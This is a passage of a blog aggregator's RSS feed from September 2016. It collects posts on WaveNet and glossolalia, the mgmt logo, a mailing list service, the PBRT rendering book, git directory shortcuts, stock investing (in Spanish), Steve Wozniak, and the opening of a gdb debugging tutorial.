  &lt;div class="videobuffering" id="screamingsbuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="screamingspaused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;My nephew Timofey has some trouble accepting the arbitrary authority of adults. In this case, while the mother was away, an older man said something to him in an authoritative voice. Timofey&amp;rsquo;s reaction was to try and search for his mother, and - after that proved ineffective - to discharge his emotions in a loud, angry but non-confrontational way. He just screamed some meaningless speech-like sounds into the air.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Glossolalia"&gt;Glossolalia&lt;/a&gt; - speaking in tongues - is &lt;a href="https://www.youtube.com/watch?v=g6how8Sp4jg"&gt;practiced&lt;/a&gt; in some religious communities that consider it to be a divine language.&lt;br /&gt;
The people of Deepmind trained it&amp;rsquo;s neural networks to find a better model of speech generation. And now, without an input &lt;a href="https://deepmind.com/blog/wavenet-generative-model-raw-audio/"&gt;&lt;em&gt;it speaks in tonges&lt;/em&gt;&lt;/a&gt; (scroll down to &amp;ldquo;Knowing What to Say&amp;rdquo;).&lt;/p&gt;
&lt;p&gt;Perhaps it is a good way for a computer to get emotional. In case an older man blindly assumes authority over it.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Fri, 30 Sep 2016 17:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/lall/</guid></item><item><title>mgmt has a logo</title><link>https://purpleidea.com/blog/2016/09/30/mgmt-has-a-logo/</link><description>&lt;p&gt;The &lt;a href="https://github.com/purpleidea/mgmt/"&gt;mgmt config project&lt;/a&gt; got a logo! The &lt;a href="https://github.com/purpleidea/mgmt/commit/8a96dfdc8a1540e379ead81323e178ce73d035f5"&gt;full commit is here&lt;/a&gt;. Thanks to Sarah Jane Cox for creating it.&lt;/p&gt;
&lt;table style="text-align: center; width: 80%; margin: 0 auto;"&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="mgmt.png"&gt;&lt;img alt="mgmt" class="alignnone size-full wp-image-1881" height="100%" src="mgmt.png" width="100%" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;p&gt;Happy Hacking,&lt;/p&gt;
&lt;p&gt;James&lt;/p&gt;
&lt;p&gt;PS: I might have a few stickers to give out too! Ask me next time you see me if you&amp;rsquo;d like one! Alternatively, use the artwork to make your own and share with your friends!&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;i&gt;You can &lt;a href="https://m9rx.com/" target="_blank"&gt;hire James&lt;/a&gt; and his team at &lt;a href="https://m9rx.com/" target="_blank"&gt;m9rx corporation&lt;/a&gt;.&lt;/i&gt;

&lt;br /&gt;&lt;i&gt;You can &lt;a href="https://mastodon.social/@purpleidea" target="_blank"&gt;follow James on Mastodon&lt;/a&gt; for more frequent updates and other random thoughts.&lt;/i&gt;

&lt;br /&gt;&lt;i&gt;You can &lt;a href="https://twitter.com/intent/follow?screen_name=purpleidea" target="_blank"&gt;follow James on Twitter&lt;/a&gt; for more frequent updates and other random thoughts.&lt;/i&gt;

&lt;br /&gt;&lt;i&gt;You can &lt;a href="https://github.com/sponsors/purpleidea/" target="_blank"&gt;support James on GitHub&lt;/a&gt; if you'd like to help sustain this kind of content.&lt;/i&gt;

&lt;br /&gt;&lt;i&gt;You can &lt;a href="https://www.patreon.com/purpleidea" target="_blank"&gt;support James on Patreon&lt;/a&gt; if you'd like to help sustain this kind of content.&lt;/i&gt;
&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Fri, 30 Sep 2016 11:41:06 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2016/09/30/mgmt-has-a-logo/</guid></item><item><title>Mailing list manager</title><link>https://allanrbo.blogspot.com/2016/09/mailing-list-manager.html</link><description>I needed a simple mailing list manager for a sports club I'm in. We wanted it to be of the type where an administrator manages the lists (not the type where any random person can subscribe him- or herself). Couldn't find any decent looking free service offering this, so I decided to make one:&amp;nbsp;&lt;a href="http://mailgroup.io/"&gt;mailgroup.io&lt;/a&gt;&amp;nbsp;.&lt;br /&gt;
&lt;br /&gt;
These are its features:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Free for noncommercial use.&lt;/li&gt;
&lt;li&gt;Your own custom domain.&lt;/li&gt;
&lt;li&gt;Or @mailgroup.io as domain if you prefer.&lt;/li&gt;
&lt;li&gt;Your choice of members-only mailing lists, or everyone-may-write.&lt;/li&gt;
&lt;li&gt;Detailed Postfix delivery reports for each mail for each recipient.&lt;/li&gt;
&lt;li&gt;Max 50 recipients per account (negotiable).&lt;/li&gt;
&lt;li&gt;Mail triggers. These are special email addresses that trigger HTTP POSTs with the email content to a defined URL when they receive email. Useful if you want some logic on your website to be triggered by email.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;</description><author>Allan's Blog</author><pubDate>Fri, 30 Sep 2016 04:40:57 GMT</pubDate><guid isPermaLink="true">https://allanrbo.blogspot.com/2016/09/mailing-list-manager.html</guid></item><item><title>Physically Based Rendering 3rd Edition</title><link>https://blog.yiningkarlli.com/2016/09/pbrtv3.html</link><description>&lt;p&gt;Today is the release date for the digital version of the new &lt;a href="https://www.amazon.com/Physically-Based-Rendering-Theory-Implementation-ebook/dp/B01M013UX1/ref=mt_kindle?_encoding=UTF8&amp;amp;me="&gt;Physically Based Rendering 3rd Edition&lt;/a&gt;, by &lt;a href="http://pharr.org/matt/"&gt;Matt Pharr&lt;/a&gt;, &lt;a href="https://rgl.epfl.ch/people/wjakob"&gt;Wenzel Jakob&lt;/a&gt;, and &lt;a href="https://twitter.com/humper"&gt;Greg Humphreys&lt;/a&gt;.
As anyone in the rendering world knows, Physically Based Rendering is THE reference book for the field; for novices, Physically Based Rendering is the best introduction one can get to the field, and for experts, Physically Based Rendering is an invaluable reference book to consult and check.
I share a large office with three other engineers on the Hyperion team, and I think between the four of us, we actually have an average of more than one copy per person (of varying editions).
I could not recommend this book enough.
The third edition adds Wenzel Jakob as an author; Wenzel is the author of the research-oriented &lt;a href="http://www.mitsuba-renderer.org"&gt;Mitsuba Renderer&lt;/a&gt; and is one of the most prominent new researchers in rendering in the past decade.
There is a lot of great new light transport stuff in the third edition, which I’m guessing comes from Wenzel.
Both Wenzel’s work and the previous editions of Physically Based Rendering were instrumental in influencing my path in rendering, so of course I’ve already had the third edition on pre-order since it was announced over a year ago.&lt;/p&gt;

&lt;p&gt;Each edition of Physically Based Rendering is accompanied by a major release of the &lt;a href="https://github.com/mmp/pbrt-v3"&gt;PBRT renderer&lt;/a&gt;, which implements the book.
The PBRT renderer is a major research resource for the community, and basically everyone I know in the field has learned something or another from looking through and taking apart PBRT.
As part of the drive towards PBRT-v3, Matt Pharr made a call for interesting scenes to provide as demo scenes with the PBRT-v3 release.
I offered Matt the PBRT-v2 scene I &lt;a href="http://blog.yiningkarlli.com/2015/03/bsdf-system.html"&gt;made a while back&lt;/a&gt;, because how could that scene &lt;em&gt;not&lt;/em&gt; be rendered in PBRT?
I’m very excited that Matt accepted and included the scene as part of PBRT-v3’s example scenes!
You can find the example scenes &lt;a href="http://pbrt.org/scenes-v3.html"&gt;here on the PBRT website&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Converting the scene to PBRT’s format required a lot of manual work, since PBRT’s scene specification and shading system is very different from Takua’s.
As a result, the image that PBRT renders out looks slightly different from Takua’s version, but that’s not a big deal.
Here is the scene rendered using PBRT-v3:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Sep/pbrtv2_pbrtv3.jpg"&gt;&lt;img alt="Physically Based Rendering 2nd Edition, rendered using PBRT-v3." src="https://blog.yiningkarlli.com/content/images/2016/Sep/pbrtv2_pbrtv3.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;…and for comparison, the same scene rendered using Takua:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Sep/pbrtv2_takua.png"&gt;&lt;img alt="Physically Based Rendering 2nd Edition, rendered using Takua Renderer a0.5." src="https://blog.yiningkarlli.com/content/images/2016/Sep/pbrtv2_takua.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Really, it’s just the lighting that is a bit different; the Takua version is slightly warmer and slightly underexposed in comparison.&lt;/p&gt;

&lt;p&gt;At some point I should make an updated version of this scene using the third edition book.
I’m hoping to be able to contribute more of my Takua test scenes to the community in PBRT-v3 format in the future; giving back to such a major influence on my own career is extremely important.
As part of the process of porting the scene over to PBRT-v3, I also wrote a super-hacky render viewer for PBRT that shows the progress of the render as the renderer runs.
Unfortunately, this viewer is mega-hacky, and I don’t have time at the moment to clean it up and release it.
Hopefully at some point I’ll be able to; alternatively, anyone else who wants to take a look and give it a stab, feel free to contact me.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id="addendum-2017-04-28"&gt;Addendum 2017-04-28&lt;/h2&gt;

&lt;p&gt;Matt was recently looking for some interesting water-sim scenes to demonstrate dielectrics and glass materials and refraction and whatnot.
I contributed a few frames from &lt;a href="http://yiningkarlli.com/projects/arielflip.html"&gt;my PIC/FLIP fluid simulator, Ariel&lt;/a&gt;.
Most of the data from Ariel doesn’t exist in meshed format anymore; I still have all of the raw VDBs and stuff, but the meshes took up way more storage space than I could afford at the time.
I can still regenerate all of the meshes though, and I also have a handleful of frames in mesh form still from my &lt;a href="http://blog.yiningkarlli.com/2015/06/attenuated-transmission.html"&gt;attenuated transmission blog post&lt;/a&gt;.
The frame from the first image in that post is now also included in the PBRT-v3 &lt;a href="http://pbrt.org/scenes-v3.html"&gt;example scene suite&lt;/a&gt;!
The PBRT version looks very different since it is intended to demonstrate and test something very different from what I was doing in that blog post, but it still looks great!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Sep/ariel_pbrtv3.jpg"&gt;&lt;img alt="A frame from my Ariel fluid simulator, rendered using PBRT-v3." src="https://blog.yiningkarlli.com/content/images/2016/Sep/ariel_pbrtv3.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Code &amp;amp; Visuals</author><pubDate>Fri, 30 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.yiningkarlli.com/2016/09/pbrtv3.html</guid></item><item><title>Working with Directories</title><link>https://mschaef.com/directories</link><description>&lt;p&gt;This is a bash function definition that takes you to the top level directory of a git project.&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="bash"&gt;&lt;pre&gt;&lt;span class="hljs-keyword"&gt;function&lt;/span&gt; &lt;span class="hljs-function"&gt;&lt;span class="hljs-title"&gt;cdtop&lt;/span&gt;&lt;/span&gt;() {
    &lt;span class="hljs-built_in"&gt;local&lt;/span&gt; git_root;

    git_root=`git rev-parse --show-toplevel`;

    &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; [ $? -eq 0 ]
    &lt;span class="hljs-keyword"&gt;then&lt;/span&gt;
        &lt;span class="hljs-built_in"&gt;cd&lt;/span&gt; &lt;span class="hljs-variable"&gt;${git_root}&lt;/span&gt;
    &lt;span class="hljs-keyword"&gt;else&lt;/span&gt;
        &lt;span class="hljs-built_in"&gt;return&lt;/span&gt; 1
    &lt;span class="hljs-keyword"&gt;fi&lt;/span&gt;
}
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;Here's a git alias that does serves a similar purpose. What this does is define a new alias, &lt;code&gt;exec&lt;/code&gt;, that executes a shell command in the current project's root.&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="bash"&gt;&lt;pre&gt;git config --global alias.exec &lt;span class="hljs-string"&gt;&amp;#x27;!exec &amp;#x27;&lt;/span&gt;
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;With this alias defined, you can say the following  and it will take you to the project root.&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="bash"&gt;&lt;pre&gt;&lt;span class="hljs-built_in"&gt;cd&lt;/span&gt; `git &lt;span class="hljs-built_in"&gt;exec&lt;/span&gt; &lt;span class="hljs-built_in"&gt;pwd&lt;/span&gt;`
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;&lt;a href="http://stackoverflow.com/questions/957928/is-there-a-way-to-get-the-git-root-directory-in-one-command"&gt;http://stackoverflow.com/questions/957928/is-there-a-way-to-get-the-git-root-directory-in-one-command&lt;/a&gt;&lt;/p&gt;</description><author>Mike Schaeffer</author><pubDate>Fri, 30 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://mschaef.com/directories</guid></item><item><title>¿Es la bolsa la inversión que quiero para mis ahorros?</title><link>https://danielpecos.com/2016/09/29/es-la-bolsa-una-buena-inversion/</link><description>&lt;figure class="wp-caption alignleft" id="attachment_454"&gt;&lt;img alt="IBEX 35" class="size-medium" height="161" src="https://danielpecos.com/assets/2016/09/ibex351-680x365-e1475095925648-300x161.jpg" width="300" /&gt;&lt;figcaption class="wp-caption-text"&gt;Sede de la bolsa de mercados y valores de madrid&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Permíteme que te explique cómo decidí que la inversión en bolsa era el camino que quería seguir para rentabilizar mis modestas inversiones.&lt;/p&gt;
&lt;p&gt;Todo empezó por una (creo que sensata) &lt;strong&gt;preocupación por cómo llegaría al momento de mi jubilación&lt;/strong&gt;. La primera preocupación, y aunque parece remota, era siquiera si iba a disponer de una jubilación y la segunda, si la cantidad a percibir cubriría lo que a mi me gustaría. Al fin y al cabo son los últimos años de tu vida disponibles para disfrutar, tras más de 40 años de trabajo.&lt;/p&gt;
&lt;p&gt;Esto me llevó por el camino más lógico: buscar &lt;strong&gt;planes de jubilación privados&lt;/strong&gt;. Todo suena bien en un primer momento: ahorras la cantidad que te parezca oportuna (incluso algunos de ellos no te imponen una periodicidad) y además reduces tu base imponible, ahorrándote impuestos cada año. ¡Y encima el dinero genera intereses!&lt;/p&gt;
&lt;p&gt;Pero (tenía que haberlo) pierdes la disponibilidad de esos ahorros hasta el momento de la jubilación. Es verdad, hay condiciones de rescate bajo las cuales es posible recuperar tus ahorros de forma anticipada, pero en cualquier caso, si estás en esas condiciones, estás realmente jodido y el disponer o no de tus ahorros de toda la vida no es el mayor de tus problemas llegados a esa situación.&lt;/p&gt;
&lt;p&gt;Continué investigando y lo siguiente en que me fijé fueron los &lt;strong&gt;depósitos a renta fija&lt;/strong&gt; y los &lt;strong&gt;fondos de inversión&lt;/strong&gt; (en renta fija), cualquier cosa que sonara a renta variable me daba realmente pánico ¿quién en su sano juicio quiere jugarse su esfuerzo por un posible beneficio? Estos tipos de productos en general dan un buen nivel de seguridad aunque a unos intereses modestos. Aún así, frente a las ventajas fiscales que ofrecen los planes de jubilación, se me quedaban algo cortos.&lt;/p&gt;
&lt;p&gt;Así pues, parece que la renta variable es la única opción restante y no demasiado descabellada como puede ser la inversión en &lt;strong&gt;futuros, derivados o CFDs&lt;/strong&gt;. Pero mi conocimiento de este tipo de productos es muy superficial, necesitaría tiempo para conocer el mercado y las características de éstos, antes de ponerme a invertir en serio en cualquiera de estas opciones.&lt;/p&gt;
&lt;p&gt;Llegados a este punto decidí meter la cabeza en la operativa de bolsa con un capital mínimo, así que contraté el broker de ING, invertí 1.000€ en una &lt;strong&gt;ETF que replica el IBEX&lt;/strong&gt; (ahora mismo, se encuentra en valores bajos teniendo en cuenta su histórico y es de esperar que a medio / largo recupere el valor de 10.000 o más) y que además reparte &lt;strong&gt;dividendos&lt;/strong&gt; y me daría unos meses a mi mismo para formarme y poder tomar decisiones con una mejor base.&lt;/p&gt;
&lt;p&gt;Y en este punto me encuentro. En futuros posts explicaré más en detalle los distintos productos de los que he estado hablando e iré revisando los distintos libros que vaya leyendo y compartiendo mi opinión sobre ellos con todos vosotros.&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Thu, 29 Sep 2016 07:51:17 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/09/29/es-la-bolsa-una-buena-inversion/</guid></item><item><title>An evening with The Woz</title><link>https://jasoneckert.github.io/myblog/an-evening-with-the-woz/</link><description>&lt;p&gt;&lt;img alt="Steve Wozniak" src="woz.png#center" title="Steve Wozniak" /&gt;&lt;/p&gt;
&lt;p&gt;I specifically attended yesterday’s Fuzenation Technology &amp;amp; Music Summit in Kitchener, Ontario to hear Steve Wozniak (a.k.a. The Woz) speak.&lt;/p&gt;
&lt;p&gt;In short, he’s the co-founder of Apple, and the engineer who created the Apple I and Apple II computers.  The Apple II was the first successful, mass-produced personal computer, and as the Woz points out, the “first one that could play arcade games in full colour” (I still have an Apple II that I use to play arcade games like Donkey Kong).&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Thu, 29 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/an-evening-with-the-woz/</guid></item><item><title>A primer in how to use `gdb`</title><link>https://bastian.rieck.me/blog/2016/gdb_primer/</link><description>&lt;p&gt;Debugging is one of the primary skills every computer science student
should acquire. I want to provide an easy introduction to this topic,
starring C++ and &lt;code&gt;gdb&lt;/code&gt;, the debugger of the GNU project. In the
following, I assume that the reader is somewhat familiar with the basic
concepts of C++ programming.&lt;/p&gt;
&lt;h1 id="a-simple-example"&gt;A simple example&lt;/h1&gt;
&lt;p&gt;Let’s assume that we want to transform a string into a palindrome
and write the following program to do so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;palindrome&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;palindrome&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;"Hello, World!"&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We compile the program using&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ g++ -std=c++11 foo.cc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and run &lt;code&gt;./a.out&lt;/code&gt; just to find out that the program crashes with a
segmentation fault. Bummer. Let’s recompile the program and
prepare it for debugging. To this end, we just add the &lt;code&gt;-g&lt;/code&gt; switch on
the command-line for the compiler. This ensures that &lt;em&gt;debug symbols&lt;/em&gt; are
included. Loosely speaking, these symbols are required for the debugger
to connect the binary executable with our source code.&lt;/p&gt;
&lt;p&gt;So, we issue&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ g++ -std=c++11 -g foo.cc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and run &lt;code&gt;gdb&lt;/code&gt; with our executable as an argument:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ gdb a.out
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This should result in output that is somewhat similar to this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GNU gdb (GDB) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type &amp;quot;show copying&amp;quot;
and &amp;quot;show warranty&amp;quot; for details.
---Type &amp;lt;return&amp;gt; to continue, or q &amp;lt;return&amp;gt; to quit---
This GDB was configured as &amp;quot;x86_64-pc-linux-gnu&amp;quot;.
Type &amp;quot;show configuration&amp;quot; for configuration details.
For bug reporting instructions, please see:
&amp;lt;http://www.gnu.org/software/gdb/bugs/&amp;gt;.
Find the GDB manual and other documentation resources online at:
&amp;lt;http://www.gnu.org/software/gdb/documentation/&amp;gt;.
---Type &amp;lt;return&amp;gt; to continue, or q &amp;lt;return&amp;gt; to quit---
For help, type &amp;quot;help&amp;quot;.
Type &amp;quot;apropos word&amp;quot; to search for commands related to &amp;quot;word&amp;quot;...
Reading symbols from a.out...done.
(gdb)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The most important thing is that &lt;code&gt;gdb&lt;/code&gt; greets us with its own prompt,
meaning that from now on, we directly interact with the debugger instead
of running the program directly.&lt;/p&gt;
&lt;p&gt;We first run the binary to find out what happens:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This should yield an output similar to&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Program received signal SIGSEGV, Segmentation fault.
0x0000000000400bd4 in palindrome (s=&amp;quot;!dlroW World!&amp;quot;) at foo.cc:8
8	    if( s[i] != s[s.size() - i - 1] )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and send us right back to the prompt. We can see that our program caused
a &lt;em&gt;segmentation fault&lt;/em&gt;. This error usually indicates that we accessed
memory that does not belong to our program somewhere along the way.&lt;/p&gt;
&lt;p&gt;How can we find out more about what went wrong? We first take a look at
the &lt;em&gt;backtrace&lt;/em&gt; of the error. Roughly speaking, these are all the
functions that are currently active—currently meaning at the time
of the error.&lt;/p&gt;
&lt;p&gt;To find out more about the backtrace, we type &lt;code&gt;bt&lt;/code&gt; or &lt;code&gt;backtrace&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) bt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This gives us lines like these:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#0  0x0000000000400bd4 in palindrome (s=&amp;quot;!dlroW World!&amp;quot;) at foo.cc:8
#1  0x0000000000400c65 in main () at foo.cc:17
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Not too surprisingly, the &lt;em&gt;last&lt;/em&gt; function, i.e. function #2, is the
&lt;code&gt;main&lt;/code&gt; function of our program. After that, our &lt;code&gt;palindrome&lt;/code&gt; function
was called. Each of the lines in this list is referred to as a &lt;em&gt;frame&lt;/em&gt;.
To see a specific frame—i.e. a certain function along with its
code—we type &lt;code&gt;frame NUMBER&lt;/code&gt; or &lt;code&gt;f NUMBER&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Let us first take a look at the &lt;code&gt;main&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) frame 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This gives us some code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#1  0x0000000000400c65 in main () at foo.cc:17
17	  std::cout &amp;lt;&amp;lt; palindrome( &amp;quot;Hello, World!&amp;quot; ) &amp;lt;&amp;lt; std::endl;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can see the line number (17) and some of the parameters of the
function. Furthermore, we see the next function call, viz. &lt;code&gt;palindrome&lt;/code&gt;,
which in turn causes the segmentation fault.&lt;/p&gt;
&lt;p&gt;Since the line looks relatively safe, there must be an issue with the
variables that are used to access the characters of the string. So,
let’s get back to the first frame:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) frame 0
#0  0x0000000000400bd4 in palindrome (s=&amp;quot;!dlroW World!&amp;quot;) at foo.cc:8
8	    if( s[i] != s[s.size() - i - 1] )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Again, the &lt;code&gt;if&lt;/code&gt; condition seems relatively safe. To cause a segmentation
fault, we must access some bad memory somewhere. Thus, let us take a
look at the values of the variables at this point. To this end, we can
use the &lt;code&gt;print&lt;/code&gt; command or &lt;code&gt;p&lt;/code&gt; for short.&lt;/p&gt;
